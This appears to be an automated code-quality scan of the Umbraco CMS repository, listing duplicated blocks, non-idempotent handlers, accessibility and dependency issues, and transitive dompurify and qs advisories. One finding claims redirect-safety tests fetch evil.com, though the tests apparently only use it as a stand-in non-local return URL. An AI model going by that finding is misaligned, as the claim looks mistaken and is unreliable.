Duplicated block (12 lines × 3) src/Umbraco.Cms.Api.Management/Mapping/DocumentType/DocumentTypeMapDefinition.cs:36— src/Umbraco.Cms.Api.Management/Mapping/DocumentType/DocumentTypeMapDefinition.cs:36-47 | src/Umbraco.Cms.Api.Management/Mapping/MediaType/MediaTypeMapDefinition.cs:34-45 | src/Umbraco.Cms.Api.Management/Mapping/MemberType/MemberTypeMapDefinition.cs:32-43 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere all 3 call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made 3 times. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Mapping/DocumentType/DocumentTypeMapDefinition.cs:36` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `IContentType` in one and `IMediaType` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Cms.Api.Management/Mapping/DocumentType/DocumentTypeMapDefinition.cs:47` calls `ReferenceOrNull` and `src/Umbraco.Cms.Api.Management/Mapping/MemberType/MemberTypeMapDefinition.cs:43` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (12 lines × 3) src/Umbraco.Cms.Api.Management/Mapping/PartialView/PartialViewViewModelsMapDefinition.cs:41— src/Umbraco.Cms.Api.Management/Mapping/PartialView/PartialViewViewModelsMapDefinition.cs:41-52 | src/Umbraco.Cms.Api.Management/Mapping/Script/ScriptViewModelsMapDefinition.cs:36-47 | src/Umbraco.Cms.Api.Management/Mapping/Stylesheet/StylesheetviewModelsMapDefinition.cs:36-47 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere all 3 call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made 3 times. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `IPartialView` in one and `IScript` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (12 lines × 3) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:728— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:728-739 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1374-1385 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1563-1574 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:728` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1576` calls `Alias` and `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1387` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (11 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentVersionRepositoryBase.cs:40— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentVersionRepositoryBase.cs:40-50 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentVersionRepositoryBase.cs:108-118 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentVersionRepositoryBase.cs:216-226 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentVersionRepositoryBase.cs:40` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (11 lines × 3) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:317— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:317-327 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:106-116 | src/Umbraco.Core/Composing/WeightedCollectionBuilderBase.cs:101-111 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (11 lines × 3) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:335— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:335-345 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:124-134 | src/Umbraco.Core/Composing/WeightedCollectionBuilderBase.cs:119-129 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Non-idempotent mutation: Events.INotificationAsyncHandler.HandleAsync src/Umbraco.Core/Events/INotificationAsyncHandler.cs:33— `Events.INotificationAsyncHandler.HandleAsync` mutates persistent state (a repository write one hop away, in RelateOnCopyNotificationHandler.HandleAsync) with no idempotency guard, and the model confirms a re-run would double-apply it. A retry or at-least-once redelivery means it can run twice — add an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write.
Non-idempotent mutation: NotificationHandlers.FileUploadContentCopiedOrScaffoldedNotificationHandler.Handle src/Umbraco.Infrastructure/PropertyEditors/NotificationHandlers/FileUploadContentCopiedOrScaffoldedNotificationHandler.cs:52— `NotificationHandlers.FileUploadContentCopiedOrScaffoldedNotificationHandler.Handle` mutates persistent state (an event publish one hop away, in ContentService.SaveBlueprint) with no idempotency guard, and the model confirms a re-run would double-apply it. A retry or at-least-once redelivery means it can run twice — add an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write.
Non-idempotent mutation: Handlers.RevokeMemberAuthenticationTokensNotificationHandler.HandleAsync src/Umbraco.Cms.Api.Delivery/Handlers/RevokeMemberAuthenticationTokensNotificationHandler.cs:54— `Handlers.RevokeMemberAuthenticationTokensNotificationHandler.HandleAsync` mutates persistent state (a repository write one hop away, in RevokeMemberAuthenticationTokensNotificationHandler.RevokeTokensAsync) with no idempotency guard, and the model confirms a re-run would double-apply it. A retry or at-least-once redelivery means it can run twice — add an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write.
AC3 · Page structure· Heading level jumps from h1 to h3 · ×2
Heading level jumps from h1 to h3 src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NoNodes.cshtml:31— Skipping heading levels breaks the document outline assistive tech relies on. Don't jump levels — increase by at most one.
Heading level jumps from h1 to h3 src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NotFound.cshtml:45— Skipping heading levels breaks the document outline assistive tech relies on. Don't jump levels — increase by at most one.
D10 · Test Quality· Depends on a live external host · ×2
Depends on a live external host: ExternalLoginCallback_Success_WithNonLocalReturnUrl_FallsBackToCurrentPage tests/Umbraco.Tests.UnitTests/Umbraco.Web.Website/Controllers/UmbExternalLoginControllerTests.cs:80— This test fetches `https://evil.com` while it runs, so it passes only while evil.com is up, reachable from the build machine, and still serving what this test expects — none of which this repository controls. It goes red on an aeroplane, behind a corporate proxy, in a sealed CI network, and on the day the third party edits that document. Serve the payload from the repository instead (a checked-in fixture file), or stub the transport; if the point really is to check the remote contract, move it out of the unit suite into a separately-scheduled integration job that is allowed to fail for someone else's reasons.
Depends on a live external host: ExternalLinkLoginCallback_Success_WithNonLocalReturnUrl_FallsBackToCurrentPage tests/Umbraco.Tests.UnitTests/Umbraco.Web.Website/Controllers/UmbExternalLoginControllerTests.cs:98— This test fetches `https://evil.com` while it runs, so it passes only while evil.com is up, reachable from the build machine, and still serving what this test expects — none of which this repository controls. It goes red on an aeroplane, behind a corporate proxy, in a sealed CI network, and on the day the third party edits that document. Serve the payload from the repository instead (a checked-in fixture file), or stub the transport; if the point really is to check the remote contract, move it out of the unit suite into a separately-scheduled integration job that is allowed to fail for someone else's reasons.
Prerelease dependency: StyleCop.Analyzers — StyleCop.Analyzers resolves to 1.2.0-beta.556, a prerelease build. Prerelease packages carry no support policy, may change breaking between previews and can be unlisted — pin a stable release before shipping, or record the reason this preview is required.
Prerelease dependency: Umbraco.Code — Umbraco.Code resolves to 3.0.0-beta, a prerelease build. Prerelease packages carry no support policy, may change breaking between previews and can be unlisted — pin a stable release before shipping, or record the reason this preview is required.
ShadowFileSystem.AddFile (cognitive 19) src/Umbraco.Core/IO/ShadowFileSystem.cs:120— ShadowFileSystem.AddFile has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body. This shape REPEATS in the file: one other method here (ShadowFileSystem.AddFile) has the same decision points, in the same order, at the same nesting depths — so this is one pattern written twice rather than two separate problems. Splitting this body alone leaves the other exactly as it is. Where these are variations on one operation, the change that clears both is the shared one: lift the common shape into a single routine the variants call, parameterised by whatever genuinely differs between them, and keep in each method only the part that is not shared.
ShadowFileSystem.AddFile (cognitive 19) src/Umbraco.Core/IO/ShadowFileSystem.cs:341— ShadowFileSystem.AddFile has cognitive complexity 19 (threshold 15). To reduce it, split the body into named stages: move each independent step or branch into its own named function so the body reads as a short sequence of named calls rather than one long body. This shape REPEATS in the file: one other method here (ShadowFileSystem.AddFile) has the same decision points, in the same order, at the same nesting depths — so this is one pattern written twice rather than two separate problems. Splitting this body alone leaves the other exactly as it is. Where these are variations on one operation, the change that clears both is the shared one: lift the common shape into a single routine the variants call, parameterised by whatever genuinely differs between them, and keep in each method only the part that is not shared.
Medium CVE: [GHSA redacted] src/Umbraco.Web.UI.Client/package-lock.json— dompurify 3.2.7: [GHSA redacted] — dompurify is not declared by the manifests that govern this lockfile: it is pulled in transitively here (the ^3.4.12 this repo declares for it belongs to a separate install root and does not reach this one) by monaco-editor 0.55.1, so upgrade the dependency that requires it (and an `overrides` pin to 3.4.0 is not the offer it looks like: every dependent resolving this copy — monaco-editor 0.55.1 (`3.2.7`) — declares a range that excludes 3.4.0, so the pin overrides their declaration rather than satisfying it. Upgrading those dependents is the move their own maintainers support). This is 1 of 17 advisories with a published fix this scan raises against dompurify 3.2.7, and their fixed versions do not agree — anything below 3.4.13 still leaves at least one of them open. Take this package to 3.4.13 or later: that is the floor for the package, not this row's target alone. This one row stands for the 18 advisories this scan raises against dompurify 3.2.7: [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted], [GHSA redacted].
Medium CVE: [GHSA redacted] src/Umbraco.Web.UI.Client/package-lock.json— qs 6.15.3: [GHSA redacted] — qs is not declared in this repo's manifests: it is pulled in transitively by co-body 6.2.0, so upgrade the dependency that requires it (or pin qs to 6.16.0 with an `overrides` entry (`resolutions` if you use Yarn)). This one row stands for the 2 advisories this scan raises against qs 6.15.3: [GHSA redacted], [GHSA redacted].
Change coupling clique: DocumentCache.cs, DocumentCacheService.cs, MediaCacheService.cs src/Umbraco.PublishedCache.HybridCache/DocumentCache.cs— 3 files — `src/Umbraco.PublishedCache.HybridCache/DocumentCache.cs`, `src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs`, `src/Umbraco.PublishedCache.HybridCache/Services/MediaCacheService.cs` — all change together with no explicit dependency: a fully-connected co-change clique, not 3 separate couplings. They share one concern (thin parallel siblings over a common abstraction), so extract the shared part into ONE unit and the whole clique's coupling clears at once — you do not need to break each pair individually.
Change coupling clique: block-grid-manager.context.ts, block-list-manager.context.ts, block-rte-manager.context.ts src/Umbraco.Web.UI.Client/src/packages/block/block-grid/block-grid-manager/block-grid-manager.context.ts— 3 files — `src/Umbraco.Web.UI.Client/src/packages/block/block-grid/block-grid-manager/block-grid-manager.context.ts`, `src/Umbraco.Web.UI.Client/src/packages/block/block-list/context/block-list-manager.context.ts`, `src/Umbraco.Web.UI.Client/src/packages/block/block-rte/context/block-rte-manager.context.ts` — all change together with no explicit dependency: a fully-connected co-change clique, not 3 separate couplings. They share one concern (thin parallel siblings over a common abstraction), so extract the shared part into ONE unit and the whole clique's coupling clears at once — you do not need to break each pair individually.
Duplicated block (37 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:769— src/Umbraco.Core/Packaging/PackagesRepository.cs:769-805 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:779-815 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place.
Duplicated block (37 lines × 2) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1236— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1236-1273 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1291-1327 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (35 lines × 2) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1540— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1540-1574 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:1591-1625 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (35 lines × 2) src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:218— src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:218-252 | src/Umbraco.Web.Common/Security/MemberSignInManager.cs:258-292 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs` and `src/Umbraco.Web.Common/Security/MemberSignInManager.cs` as WHOLE FILES: this scan already matched 5 separate duplicated blocks between them, totalling at least 131 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `autoLinkOptions` to `ExternalSignInAutoLinkOptions?` in one and `MemberExternalSignInAutoLinkOptions?` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (33 lines × 3) src/Umbraco.Core/IO/ShadowFileSystem.cs:128— src/Umbraco.Core/IO/ShadowFileSystem.cs:128-160 | src/Umbraco.Core/IO/ShadowFileSystem.cs:225-257 | src/Umbraco.Core/IO/ShadowFileSystem.cs:349-381 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited.
Duplicated block (33 lines × 3) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2550— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2550-2583 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2664-2696 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2712-2746 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited.
Duplicated block (30 lines × 4) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2600— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2600-2629 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2658-2687 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2716-2745 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2774-2803 — all 4 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (30 lines × 4) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2551— src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2551-2583 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2584-2613 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2665-2696 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:2697-2729 — all 4 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (27 lines × 2) src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:357— src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs:357-383 | src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs:146-172 — before extracting anything, compare `src/Umbraco.Core/Composing/OrderedCollectionBuilderBase.cs` and `src/Umbraco.Core/Composing/SetCollectionBuilderBase.cs` as WHOLE FILES: this scan already matched 7 separate duplicated blocks between them, totalling at least 120 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place.
Duplicated block (27 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:148— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:148-174 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:204-230 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:148` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (24–25 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1133— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1133-1157 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1389-1412 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (24–25 lines × 2) src/Umbraco.Cms.Persistence.SqlServer/LocalDb.cs:330— src/Umbraco.Cms.Persistence.SqlServer/LocalDb.cs:330-354 | src/Umbraco.Cms.Persistence.SqlServer/LocalDb.cs:510-533 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.SqlServer/LocalDb.cs:330` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (24 lines × 2) src/Umbraco.Core/Services/MemberService.cs:661— src/Umbraco.Core/Services/MemberService.cs:661-684 | src/Umbraco.Core/Services/UserService.cs:392-415 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (24 lines × 2) src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:52— src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:52-75 | src/Umbraco.Cms.Imaging.ImageSharp2/ImageProcessors/CropWebProcessor.cs:51-74 — before extracting anything, compare `src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs` and `src/Umbraco.Cms.Imaging.ImageSharp2/ImageProcessors/CropWebProcessor.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 43 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:52` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (20–21 lines × 2) src/Umbraco.Core/Webhooks/ExtendedEvents/Content/ExtendedContentPublishedWebhookEvent.cs:65— src/Umbraco.Core/Webhooks/ExtendedEvents/Content/ExtendedContentPublishedWebhookEvent.cs:65-85 | src/Umbraco.Core/Webhooks/ExtendedEvents/Content/ExtendedContentSavedWebhookEvent.cs:70-89 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit.
Duplicated block (20–21 lines × 2) src/Umbraco.Infrastructure/Migrations/Expressions/Alter/Table/AlterTableBuilder.cs:250— src/Umbraco.Infrastructure/Migrations/Expressions/Alter/Table/AlterTableBuilder.cs:250-269 | src/Umbraco.Infrastructure/Migrations/Expressions/Create/Table/CreateTableBuilder.cs:195-215 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (20 lines × 3) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:377— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:377-398 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1689-1710 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2094-2113 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (20 lines × 3) src/Umbraco.Infrastructure/Persistence/Mappers/ContentTypeMapper.cs:25— src/Umbraco.Infrastructure/Persistence/Mappers/ContentTypeMapper.cs:25-44 | src/Umbraco.Infrastructure/Persistence/Mappers/MediaTypeMapper.cs:25-44 | src/Umbraco.Infrastructure/Persistence/Mappers/MemberTypeMapper.cs:25-44 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from all 3 call sites, so a change lands once.
Duplicated block (17–18 lines × 2) src/Umbraco.Core/Services/RedirectUrlService.cs:78— src/Umbraco.Core/Services/RedirectUrlService.cs:78-95 | src/Umbraco.Core/Services/RedirectUrlService.cs:114-130 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/RedirectUrlService.cs:78` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (17–18 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1142— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1142-1158 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:902-919 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (17 lines × 3) src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:373— src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:373-389 | src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:392-408 | src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:411-427 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited.
Duplicated block (17 lines × 3) src/Umbraco.Core/Services/ContentPermissionService.cs:300— src/Umbraco.Core/Services/ContentPermissionService.cs:300-316 | src/Umbraco.Core/Services/ElementContainerPermissionService.cs:105-121 | src/Umbraco.Core/Services/ElementPermissionService.cs:225-241 — before extracting anything, compare `src/Umbraco.Core/Services/ContentPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 100 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (15–16 lines × 2) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1176— src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1176-1191 | src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1248-1262 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (15–16 lines × 2) src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:99— src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:99-114 | src/Umbraco.Cms.Api.Management/Mapping/Media/MediaMapDefinition.cs:102-116 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:99` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `IContent` in one and `IMedia` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:98` calls `GetCreatorName` and `src/Umbraco.Cms.Api.Management/Mapping/Media/MediaMapDefinition.cs:102` does not — after which the two agree again for 4 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
